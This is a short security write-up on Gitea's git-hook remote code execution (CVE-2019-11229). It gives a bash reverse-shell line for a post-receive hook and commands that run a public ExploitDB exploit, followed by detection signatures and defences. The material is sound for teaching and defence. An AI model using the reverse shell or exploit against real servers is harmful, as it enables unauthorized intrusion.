Gitea git hook RCE (CVE-2019-11229)

Git supports hooks: scripts run automatically at points in a repository's lifecycle. A post-receive hook runs on the server right after a push is received. Self-hosted git platforms (Gitea, Gogs...) let you define these hooks from the web interface, and if a low-privileged user can edit them, they get command execution with the service process's identity.

In Gitea 1.7.5 (CVE-2019-11229) the flow is: register or use a valid account, create a repository, edit its post-receive hook with a command, and trigger a push that fires the hook. The command runs as the user running Gitea (frequently git or a service account).

# The post-receive hook (Settings > Git Hooks) contains, for example:
#!/bin/bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1

searchsploit -m 49383                                  # fetch the exploit that automates login+repo+hook+push
python3 49383.py -u <user> -p <pass> -i <ip> --port 3000 -L <lhost> -P <lport>

There are exploits that automate login, repo creation, hook injection and push (e.g. ExploitDB's 49383.py), where you only tweak the credentials, URL and the command to run.

Nuances. The requirement is authentication (any account, often with open registration). The access obtained is the service user's, so it almost always chains with a local escalation. The malicious-hook technique reappears in other contexts: a cron cloning a repo with an injected hook achieves the same from the client side.

How to detect it. The Gitea-log signature is an authenticated account editing a git hook (POST to .../settings/hooks/git/post-receive), an action almost no legitimate user performs, followed by a push to the same repository. On the host, confirmation is the Gitea process (git) spawning sh/bash/nc as a child of post-receive right after the push (auditd/Sysmon for Linux over execve with the service as ppid), plus an outbound connection. Modification of a hooks/post-receive file inside the repository tree (FIM) is the on-disk indicator.

Defence. Update Gitea/Gogs; restrict who can create repositories and edit hooks; run the service under an unprivileged, isolated account.